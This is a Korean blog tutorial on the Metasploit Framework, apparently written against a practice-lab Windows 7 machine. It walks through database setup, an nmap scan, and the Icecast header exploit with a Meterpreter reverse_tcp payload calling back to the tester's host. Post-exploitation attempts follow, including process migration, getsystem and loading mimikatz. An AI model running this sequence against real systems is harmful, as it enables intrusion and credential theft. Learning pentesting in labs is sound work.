1000sj
SJ CODE
1000sj
전체 방문자
오늘
어제
  • 분류 전체보기
    • 알고리즘
    • 네트워크 보안
      • 네트워크
      • 보안
      • CTF
      • Exploit
    • System Programming
      • Operating System
      • Compiler
      • Device Driver
      • Emulator
    • Application Programming
      • Script
      • Android
    • 클라우드 컴퓨팅
      • Cloud Native
      • Public Cloud
      • Infrastructure
      • Database
      • DevOps
    • 트러블슈팅
    • ETC
      • 문화 생활
      • 커뮤니티

인기 글

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
1000sj

SJ CODE

네트워크 보안/보안

[Pentesting] MetaSploit (00)

2021. 12. 27. 18:02

Metasploit은 가장 널리 사용되는 익스플로잇 프레임워크이다. 정보수집에서 악용 후까지 침투 테스트의 모든 단계를 지원한다. Metasploit에는 pro, framework 두가지 버전이 있다. pro버전은 유료이고 gui와 작업 자동화를 지원한다. framwork는 cli로 작동하는 오픈소스 버전이다.

 

Metasploit Framework의 주요 구성요소

  • msfconsole: 기본 cli
  • module: 익스플로잇, 스캐너, 페이로드 등과 같은 지원 모듈
  • tool: 취약성 연구, 취약성 평가, 침투 테스트에 도움이 되는 독립 실행형 도구이다. 이러한 도구 중 일부는 msfvenom, pattern_create, pattern_offset이다. 

 

1. 초기화

Metasploit을 처음 사용하는 경우 전체 기능을 활용하기전 몇가지 작업을 수행해야한다.

db를 초기화한다.

msfdb init

Metasploit를 시작한다.

msfconsole

db에 연결되었는지 확인한다.

db_status

 

2. Command

msf6 > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    debug         Display information useful for debugging
    exit          Exit the console
    features      Display the list of not yet released features that can be opted in to
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    load          Load a framework plugin
    quit          Exit the console
    repeat        Repeat a list of commands
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    tips          Show a list of useful productivity tips
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    clearm        Clear the module stack
    favorite      Add module(s) to the list of favorite modules
    info          Displays information about one or more modules
    listm         List the module stack
    loadpath      Searches for and loads modules from a path
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    show          Displays modules of a given type, or all modules
    use           Interact with a module by name or search term/index


Job Commands
============

    Command       Description
    -------       -----------
    handler       Start a payload handler as job
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    analyze           Analyze database information about a specific address or address range
    db_connect        Connect to an existing data service
    db_disconnect     Disconnect from the current data service
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
    db_remove         Remove the saved data service entry
    db_save           Save the current data service connection as the default to reconnect on startup
    db_status         Show the current data service status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


Credentials Backend Commands
============================

    Command       Description
    -------       -----------
    creds         List all credentials in the database


Developer Commands
==================

    Command       Description
    -------       -----------
    edit          Edit the current module or a file with the preferred editor
    irb           Open an interactive Ruby shell in the current context
    log           Display framework.log paged to the end if possible
    pry           Open the Pry debugger on the current module or Framework
    reload_lib    Reload Ruby library files from specified paths
    time          Time how long it takes to run a particular command

 

nmap 명령어를 실행하고 스캔한 결과를 db로 받을 수 있다.

msf6 > db_nmap -sV MACHINE_IP
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 03:36 EST
[*] Nmap: 'Failed to resolve "MACHINE_IP".'
[*] Nmap: Nmap done: 0 IP addresses (0 hosts up) scanned in 15.88 seconds
[*] Nmap: 'WARNING: No targets were specified, so 0 hosts scanned.'
msf6 > db_nmap -sV 10.10.51.161
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 03:38 EST
[*] Nmap: Nmap scan report for 10.10.51.161
[*] Nmap: Host is up (0.27s latency).
[*] Nmap: Not shown: 993 closed ports
[*] Nmap: PORT      STATE SERVICE     VERSION
[*] Nmap: 135/tcp   open  msrpc       Microsoft Windows RPC
[*] Nmap: 139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
[*] Nmap: 5357/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 49152/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49153/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49154/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49160/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 96.35 seconds

 

db에서 어떤 정보를 수집했는지 알아보자

msf6 > hosts

Hosts
=====

address       mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---  ----  -------  ---------  -----  -------  ----  --------
10.10.51.161             Unknown                    device

 

msf6 > services
Services
========

host          port   proto  name         state  info
----          ----   -----  ----         -----  ----
10.10.51.161  135    tcp    msrpc        open   Microsoft Windows RPC
10.10.51.161  139    tcp    netbios-ssn  open   Microsoft Windows netbios-ssn
10.10.51.161  5357   tcp    http         open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.10.51.161  49152  tcp    msrpc        open   Microsoft Windows RPC
10.10.51.161  49153  tcp    msrpc        open   Microsoft Windows RPC
10.10.51.161  49154  tcp    msrpc        open   Microsoft Windows RPC
10.10.51.161  49160  tcp    msrpc        open   Microsoft Windows RPC

 

 

msf6 > vulns
Vulnerabilities
===============

Timestamp  Host  Name  References
---------  ----  ----  ----------

시스템을 스캔했으므로 Metasploit 페이로드로 연결해보자. 먼저 대상 페이로드를 검색해야 한다. use를 입력한 다음 대상 취약성 내에서만 발견되는 고유한 문자열을 입력할 수 있다. 예를 들어 icecast를 검색해보자

msf6 > use icecast
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

[*] Using exploit/windows/http/icecast_header

문자열로 찾는 것도 유용하지만 찾는 문자열이 없을 경우 다른 방법으로 찾을 수 있다.

msf6 exploit(windows/http/icecast_header) > search multi/handler

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   5  exploit/multi/handler                                                 manual     No     Generic Payload Handler
   6  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence

msf6 exploit(windows/http/icecast_header) > use 6
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/mssql/mssql_linkcrawler) > back

 

 

페이로드를 설정해서 target 시스템에 셸코드를 주입해보자!

먼저 payload를 생성한다.

msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

use icecast를 다시 실행한다.

msf6 > use icecast
[*] Using configured payload windows/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

[*] Using exploit/windows/http/icecast_header

lhost ip는 ip addr에서 tun0

msf6 exploit(windows/http/icecast_header) > set LHOST 10.8.31.30
LHOST => 10.8.31.30

공격대상을 Metasploit에 알려줘야한다.(set RHOSTS IP)

msf6 exploit(windows/http/icecast_header) > set RHOSTS 10.10.51.161
RHOSTS => 10.10.51.161

exploit이나 run을 사용하여 익스플로잇을 실행한다.

msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.8.31.30:4444 
[*] Sending stage (175174 bytes) to 10.10.51.161
[*] Meterpreter session 1 opened (10.8.31.30:4444 -> 10.10.51.161:49240 ) at 2021-12-27 04:31:12 -0500

sessions -i SESSION_NUMBER 명령어를 사용하여 모든 세션을 나열할 수 있다.

meterpreter > job
[-] Unknown command: job
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/http/icecast_header) > jobs

Jobs
====

No active jobs.

msf6 exploit(windows/http/icecast_header) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

 

 

이제 피해자 시스템에 셸이 생겼다. 셸을 활용할 수 있는 공격 후 모듈작업을 알아보자!

 

ps 명령어로 proccess list를 알 수 있다.

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User          Path
 ---   ----  ----                  ----  -------  ----          ----
 0     0     [System Process]
 4     0     System
 416   4     smss.exe
 488   692   vds.exe
 500   692   svchost.exe
 544   536   csrss.exe
 588   692   svchost.exe
 592   536   wininit.exe
 604   584   csrss.exe
 652   584   winlogon.exe
 692   592   services.exe
 700   592   lsass.exe
 708   592   lsm.exe
 816   692   svchost.exe
 884   692   svchost.exe
 932   692   svchost.exe
 1056  692   svchost.exe
 1140  692   svchost.exe
 1260  692   spoolsv.exe
 1308  692   svchost.exe
 1328  816   slui.exe              x64   1        Dark-PC\Dark  C:\Windows\System32\slui.exe
 1396  692   taskhost.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
 1504  500   dwm.exe               x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
 1516  1480  explorer.exe          x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
 1616  692   amazon-ssm-agent.exe
 1724  692   LiteAgent.exe
 1744  816   WmiPrvSE.exe
 1764  692   svchost.exe
 1912  692   Ec2Config.exe
 2096  692   svchost.exe
 2268  1516  Icecast2.exe          x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
 2508  692   SearchIndexer.exe
 2608  692   TrustedInstaller.exe
 2684  692   sppsvc.exe
 2736  816   rundll32.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\rundll32.exe
 2776  2736  dinotify.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\dinotify.exe

spoolsv.exe로 프로세스를 이동해보자

meterpreter > migrate 1260
[*] Migrating from 2268 to 1260...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)

loading mimikatz

meterpreter > getuid
Server username: Dark-PC\Dark
meterpreter > sysinfo
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...[*] 10.10.51.161 - Meterpreter session 2 closed.  Reason: Died

[-] Failed to load extension: No response was received to the core_enumextcmd request.

 

3. Module

Metasploit은 6개의 핵심 모듈로 구성된다. 모듈에 대해 알아보기 전에 몇가지 반복되는 개념인 취약성, 익스플로잇, 페이로드를 명확히 알아보자.

 

  • Exploit: 대상 시스템에 존재하는 취약점을 사용하는 코드조각
  • Vulnerability: 대상 시스템에 영향을 미치는 설계, 코딩, 논리 결함. 취약점을 악용하면 기밀정보가 노출되거나 공격자가 대상 시스템에서 코드를 실행할 수 있다.
  • Payload: 익스플로잇은 취약점을 이용한다. 그러나 익스플로잇이 원하는 결과를 얻으면(대상 시스템에 액세스 얻기, 기밀 정보 읽기등) 페이로드를 이용해야 한다. 페이로드는 대상 시스템에서 실행될 코드이다.

모듈

  • Exploit: 모든 익스플로잇 코드를 보유
  • Payload: 익스플로잇을 실행하기 위한 Shell code가 포함
    • singles: 실행을 위해 추가 다운로드가 필요없는 자체 포함 페이로드(사용자 추가, notepad.exe) 
      • generic/shell_reverse_tcp
    • stagers: Metasploit과 대상 시스템간의 연결 채널 설정을 담당한다. 단계적 페이로드로 작업할 때 유용하다. 단계적 페이로드는 먼저 대상 시스템에 스테이저를 업로드한 다음 나머지 페이로드(단계)를 다운로드한다. 이것은 페이로드의 초기 코드가 한번에 전송되는 전체 페이로드에 비해 상대적으로 작기 때문에 몇가지 이점을 제공한다.
    • stages: 스테이저에서 다운로드한다. 이렇게 하면 더 큰 크기의 페이로드를 사용할 수 있다.
      • windows/x64/shell/reverse_tcp
  • Post: 익스플로잇후 looting, pivoting 기능
  • Encoder: 일반적으로 페이로드 난독화에 쓰이며 서명탐지를 피하도록 익스플로잇의 모양을 수정
  • NOP: 버퍼 오버플로우, ROP공격에 쓰임
  • Auxiliary: 스캔, 검증시스템에서 일반적으로 사용, Scanner, Crawler, Fuzzer를 찾을 수 있다.
  • Evasion: 인코더가 페이로드를 인코딩하지만 바이러스 백신 소프트웨어를 회피하려는 직접적인 시도로 간주되어선 안된다. Evasion은 이를 시도하고 어느 정도 성공한다.

기본적으로 제공되는 모듈 외에 다른 모듈을 사용하려면 load 명령어를 사용해야 한다.

 

'네트워크 보안 > 보안' 카테고리의 다른 글

Wireshark 🦈  (0) 2021.12.28
[Pentesting] Metasploit (01)  (0) 2021.12.28
[Contents] Google Dorking  (0) 2021.12.27
[Pentesting] Burp Suite 설치하고 Openvpn 설정  (0) 2021.12.26
[Linux🐧] Shell Scripting  (0) 2021.09.20
    '네트워크 보안/보안' 카테고리의 다른 글
    • Wireshark 🦈
    • [Pentesting] Metasploit (01)
    • [Contents] Google Dorking
    • [Pentesting] Burp Suite 설치하고 Openvpn 설정
    1000sj
    1000sj

    티스토리툴바